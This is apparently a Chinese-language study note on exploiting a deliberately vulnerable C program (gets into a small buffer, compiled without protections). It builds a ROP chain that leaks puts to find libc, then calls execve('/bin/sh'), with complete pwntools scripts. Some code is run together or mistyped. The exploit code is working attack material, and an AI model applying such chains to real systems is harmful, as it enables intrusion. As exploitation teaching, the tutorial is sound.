存在如下代码:
#include <stdio.h>#include <unistd.h>int main(){char buf[10];puts("hello");gets(buf);}
gcc编译:gcc rop.c -o rop -no-pie -fno-stack-protector
1 分析代码
代码存在栈溢出,输入18个字节填充即可控制程序流程,这里使用ROP来获得shell
分析思路:
- 获得puts()函数在libc中的地址,通过该地址计算system、execve等函数的地址
- 通过ROPgadget获得字符串”/bin/sh”
- 构造ROP链获得shell
1.1 调用puts输出puts的地址
使用指令disassemble puts函数,获得puts函数plt表地址和got.plt表地址:puts = 0x401030puts_got = 0x404018
在64位Linux系统中,函数调用参数与_cdecl约定不同,函数的前6个参数依次是RDI、RSI、RDX、RCX、R8、R9如果有多余的参数则和32位一样使用栈传参。
对于puts函数,int puts(char *string)传入参数为地址,这里我们需要将puts_got地址传入RDI寄存器中。使用ROPgadget工具获得指令pop rdi;ret的地址:pop_rdi = 0x4011d3
函数栈结构为:
pwntools获得puts函数地址: ```python from pwn import *
p = process(‘./rop’) puts = 0x401030 puts_got = 0x404018 pop_rdi = 0x4011d3
p.sendline(b’a’*18+p64(pop_rdi)+p64(puts_got)+p64(puts)) p.recvuntil(‘\n’) addr = u64(p.recv(6).ljust(8,’\x00’)) print(hex(addr))
pwntools获得libc基址:```pythonfrom pwn import *p = process('./rop')elf = ELF('./rop')libc = elf.libcputs = 0x401030puts_got = 0x404018pop_rdi = 0x4011d3p.sendline(b'a'*18+p64(pop_rdi)+p64(puts_got)+p64(puts))p.recvuntil('\n')addr = u64(p.recv(6).ljust(8,'\x00'))print(hex(addr))libc_base = addr - libc.symbols['puts']info("libc:0x%x",libc_base)
1.2 syscall系统调用命令执行
execve("/bin/sh",0,0),系统调用号为59,故需要将rax设置为59,rdi设为”/bin/sh”字符串地址,rsi和rdx设置为0。所需要相关gadget为如下,由于相关gadget在原程序中不存在,所以需要从libc中获得这些gadget。通过pwntools ELF.libc可以知道程序动态链接的libc库。
使用ROPgadget从libc中获得gadget:
pop_rax_ret = 0x3f080
pop_rdi_ret = 0x26b12
pop_rsi_ret = 0x27037
pop_rdx_rbx_ret = 0x39256 (因为gadget中没有找到pop rdx ; ret,使用该gadget替代)
syscall = 0x2588b
pop_rax_ret = 0x3f080 + libc_basepop_rdi_ret = 0x26b12 + libc_basepop_rsi_ret = 0x27037 + libc_basepop_rdx_rbx_ret = 0x39256 + libc_base #因为gadget中没有找到pop rdx ; ret,使用该gadget替代syscall = 0x2588b + libc_basebinsh = next(libc.search("/bin/sh"),) + libc_baserop2 = b'a'*18rop2 += p64(pop_rax_ret)rop2 += p64(59)rop2 += p64(pop_rdi_ret)rop2 += p64(binsh)rop2 += p64(pop_rsi_ret)rop2 += p64(0)rop2 += p64(pop_rdx_rbx_ret)rop2 += p64(0)rop2 += p64(0)rop2 += p64(syscall)p.recvuntill("hello\n")p.sendline(rop2)p.interactive()
1.3 exp与过程
在rop1与rop2中可以重新执行main函数,利用溢出执行rop2。
Todo:// GDB pwntools调试
from pwn import *p = process('./rop')elf = ELF('./rop')libc = elf.libcputs = 0x401030puts_got = 0x404018pop_rdi = 0x4011d3main = 0x401136rop1 = b'a'*18rop1 += p64(pop_rdi)rop1 += p64(puts_got)rop1 += p64(puts)rop1 += p64(main)p.sendline(rop1)p.recvuntil('\n')addr = u64(p.recv(6).ljust(8,b'\x00'))libc_base = addr - libc.symbols['puts']info("libc:0x%x",libc_base)pop_rax_ret = 0x3f080 + libc_basepop_rdi_ret = 0x26b12 + libc_basepop_rsi_ret = 0x27037 + libc_basepop_rdx_rbx_ret = 0x39256 + libc_base #因为gadget中没有找到pop rdx ; ret,使用该gadget替代syscall = 0x2588b + libc_basebinsh = next(libc.search(b"/bin/sh"),) + libc_baserop2 = b'a'*18rop2 += p64(pop_rax_ret)rop2 += p64(59)rop2 += p64(pop_rdi_ret)rop2 += p64(binsh)rop2 += p64(pop_rsi_ret)rop2 += p64(0)rop2 += p64(pop_rdx_rbx_ret)rop2 += p64(0)rop2 += p64(0)rop2 += p64(syscall)p.recvuntil("hello\n")p.sendline(rop2)p.interactive()
